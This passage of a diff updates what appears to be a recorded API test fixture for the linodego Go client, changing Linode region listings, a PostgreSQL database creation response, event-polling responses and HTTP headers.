["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, - 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, - 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, - 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, - 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": + {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, - 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, - 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, - 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, - 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", - "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, - 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, - 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, - 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, - NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", - "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", - "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, - 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, - 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], - "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -197,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 16:45:41 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -220,7 +291,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -239,13 +310,14 @@ interactions: url: https://api.linode.com/v4beta/databases/postgresql/instances method: POST response: - body: '{"id": 28215, "label": "go-postgres-testing-def", "type": "g6-nanode-1", + body: '{"id": 133345, "label": "go-postgres-testing-def", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "provisioning", - "encrypted": false, "allow_list": ["203.0.113.1", "192.0.1.0/24"], "cluster_size": - 3, "hosts": {"primary": null, "secondary": null}, "ssl_connection": false, "replication_type": - "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": - "weekly", "duration": 3, "hour_of_day": 0, "day_of_week": null, "week_of_month": - null}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["203.0.113.1", "192.0.1.0/24"], + "cluster_size": 3, "hosts": {"primary": null, "secondary": null}, "created": + "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + null, "used_disk_size_gb": null, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "weekly", "duration": 3, "hour_of_day": 0, + "day_of_week": null, "week_of_month": null}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -258,15 +330,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "581" + - "652" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 16:45:41 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -281,7 +357,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -298,15 +374,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database"}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": - "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -320,16 +396,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 16:45:56 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -345,7 +424,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -362,15 +441,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": - "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -384,16 +463,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 16:46:11 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -409,7 +491,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -426,15 +508,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": - "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -448,16 +530,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 16:46:26 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -473,7 +558,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -490,15 +575,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": - "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -512,16 +597,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 16:46:41 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -537,7 +625,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -554,15 +642,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": - "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", 